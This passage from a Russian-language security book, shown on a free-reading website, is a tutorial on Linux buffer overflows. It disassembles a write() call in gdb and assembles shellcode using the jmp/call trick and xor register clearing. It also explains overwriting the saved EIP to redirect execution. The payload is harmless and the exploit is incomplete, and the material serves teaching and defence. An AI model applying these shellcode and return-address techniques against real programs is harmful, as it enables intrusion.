Рейтинговые книги
Читем онлайн Защита от хакеров корпоративных сетей - Коллектив авторов

Шрифт:

-
+

Интервал:

-
+

Закладка:

Сделать
1 ... 62 63 64 65 66 67 68 69 70 ... 188

Пример программы переполнения буфера для Linux

В последнее время феноменально выросла популярность Linux. Несмотря на доступные исходные тексты и армию разработчиков открытого программного обеспечения, до сих пор нельзя сказать, что в Linux исправлены все ошибки. Часто по вине пользователя переполнение буфера происходит в программах, которые непосредственно не связаны с безопасностью системы. Далее особое внимание будет обращено на способы, которые могут быть использованы в многочисленных ситуациях, в том числе и связанных с безопасностью.

На примере программного кода записи строки на экран будет продемонстрировано последовательное расширение функциональных возможностей программы переполнения буфера. Пример подобен простой программе на языке C, использующей функцию write().

Сначала создадим простую программу, выводящую строку на экран:

–write.c–

int main()

{

write(1,»EXAMPLEn»,10);

}

–write.c–

Сохраним исходный текст в файле write.c, откомпилируем его компилятором GCC и выполним.

bash$ gcc write.c -o example —static

bash$ ./example

EXAMPLE

bash$

Все достаточно просто. Для того чтобы окончательно понять работу программы, воспользуемся утилитой gdb. У утилиты gdb больше возможностей, чем читатель может себе представить. Если он знает их все, то ему нужно сменить хобби. Для изучения примера достаточно основных возможностей утилиты gdb. Для начала откроем пример программы:

bash$ gdb ./example

GNU gdb 5.1

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public

License, and you are welcome to change it and/or distribute

copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB. Type “show

warranty” for details.

This GDB was configured as “i686-pc-linux-gnu”...

(gdb)

Может оказаться, что версия утилиты gdb читателя отличается от используемой в книге. Но это не имеет большого значения. Без всякого сомнения, используемые возможности утилиты gdb реализованы в версии утилиты читателя. Введем в ответ на приглашение утилиты команду disassemble main и исследуем выполняемый код программы в функции main(), обратив особое внимание на участок кода, который вызывает функцию write(). Команда disassemble выводит код функции на языке ассемблера используемого компьютера. Для нашего примера это Intel x86.

(gdb) disas main

Dump of assembler code for function main:

0x80481e0 <main>: push %EBP

0x80481e1 <main+1>: mov %ESP,%EBP

0x80481e3 <main+3>: sub $0x8,%ESP

0x80481e6 <main+6>: sub $0x4,%ESP

0x80481e9 <main+9>: push $0x9

0x80481eb <main+11>: push $0x808e248

0x80481f0 <main+16>: push $0x1

0x80481f2 <main+18>: call 0x804cc60 <__libc_write>

0x80481f7 <main+23>: add $0x10,%ESP

0x80481fa <main+26>: leave

0x80481fb <main+27>: ret

End of assembler dump.

(gdb)

Далее будет исследован выполняемый код функции write(). Параметры функции write() записываются в стек в обратном порядке. Сначала командой push $0x9 в стек проталкивается величина 0x9 (символ $0x указывает на представление утилитой gdb выводимых величин в шестнадцатеричном виде), где 9 – длина строки «EXAMPLEn». Далее в стек командой push $0x808e248 проталкивается адрес строки «EXAMPLEn». Для просмотра содержимого области по этому адресу достаточно в ответ на приглашение gdb ввести команду утилиты: x/s 0x808e248. Заключительный шаг перед вызовом функции write() состоит в записи в стек дескриптора файла. В данном случае это 1 – дескриптор стандартного вывода. После перечисленных действий вызывается функция write().

0x80481e9 <main+9>: push $0x9

0x80481eb <main+11>: push $0x808e248

0x80481f0 <main+16>: push $0x1

0x80481f2 <main+18>: call 0x804cc60 <__libc_write>

Для просмотра кода функции write() в ответ на приглашение утилиты введем команду disas__libc_write . Получим следующее.

(gdb) disas __libc_write

Dump of assembler code for function __libc_write:

0x804cc60 <__libc_write>: push %EBX

0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX

0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX

0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX

0x804cc6d <__libc_write+13>: mov $0x4,%EAX

0x804cc72 <__libc_write+18>: int $0x80

0x804cc74 <__libc_write+20>: pop %EBX

0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX

0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>

0x804cc80 <__libc_write+32>: ret

End of assembler dump.

Начальная команда push %EBX не так важна. Она сохраняет в стеке старое значение регистра EBX. В программе значение регистра изменяется, а затем восстанавливается командой pop %EBX. Еораздо интереснее последующие команды mov и int $0x80. Первые три команды mov переписывают данные, ранее сохраненные в стеке функцией main (), в рабочие регистры. Четвертая команда mov подготавливает вызов функции write(), помещая номер системного вызова в регистр EAX. При выполнении команды int $0x80 операционная система передает управление программе системного вызова по номеру, записанному в регистре EAX. Номер системного вызова функции write() – 4. В файле «/usr/include/asm/unistd.h» перечислены все номера доступных системных вызовов.

0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80

Подведем итоги. Теперь известно, что функции write() передается три параметра: длина записываемых данных, адрес строки источника, из которой переписываются данные, и адресат записи – дескриптор файла. Также теперь известно, что длина строки, в данном случае 9 байт, передается через регистр EDX, адрес строки записываемых данных через регистр ECX и дескриптор файла должен быть передан через регистр EBX. Таким образом, простой код вызова функции write() без обработки ошибок выглядит следующим образом:

mov $0x9,%EDX

mov 0x808e248,%ECX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

Зная ассемблерный вид вызова функции write(), можно приступить к написанию управляющего кода (shellcode). Единственная сложность заключается во второй команде mov 0x808e248,%ECX с явно заданным адресом памяти. Проблема состоит в том, что нельзя прочитать из строки данные, не зная ее адрес, но нельзя узнать адрес строки, пока она не будет загружена в память. Для ее разрешения применима последовательность команд jmp/call. Найденное решение основано на алгоритме работы команды call: по команде call в стек записывается адрес следующей команды. Поэтому выход из трудного положения может быть следующим:

jump <string>

code:

pop %ECX

string:

call <code>

“our stringn”

По команде call в стек записывается адрес следующей команды и выполняется переход по указанной метке. На самом деле в стек загружается адрес строки, но для выполнения команды это безразлично. В результате на вершине стека оказывается адрес строки stringn. После перехода на метку code выполняется команда pop %ECX. Команда pop переписывает в заданный регистр данные с вершины стека. В данном случае в регистр ECX записывается адрес строки stringn. Осталось только для правильной работы программы очистить (обнулить) регистры от посторонних данных. Очистка регистров выполняется командами операция исключающее ИЛИxor или вычитания sub. Лучше использовать команду xor, потому что команда xor всегда обнуляет регистр и транслируется в быстрый компактный код. В системных вызовах для передачи параметров используются младшие байты регистров, поэтому обнуление регистров гарантирует правильную передачу параметров. В итоге фрагмент программы приобрел следующий вид:

jump string

code:

pop %ECX

xor %EBX, %EBX

xor %EDX, %EDX

xor %EAX, %EAX

mov $0x9,%EDX

mov $0x1,%EBX

mov $0x4,%EAX

int $0x80

string:

call code

“EXAMPLEn”

После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof() уязвимой программы попытается вернуться в функцию main по команде ret, она восстановит из стека сохраненное там значение регистра EIP и по команде перехода jmp перейдет по восстановленному адресу. Но где в памяти будет расположен управляющий код? Конкретнее, на какой адрес нужно подменить содержимое регистра EIP, сохраненное в стеке?

При помощи функции fread() данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, – это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.

Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре EAX, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:
1 ... 62 63 64 65 66 67 68 69 70 ... 188
На этой странице вы можете бесплатно читать книгу Защита от хакеров корпоративных сетей - Коллектив авторов бесплатно.
Похожие на Защита от хакеров корпоративных сетей - Коллектив авторов книги

Оставить комментарий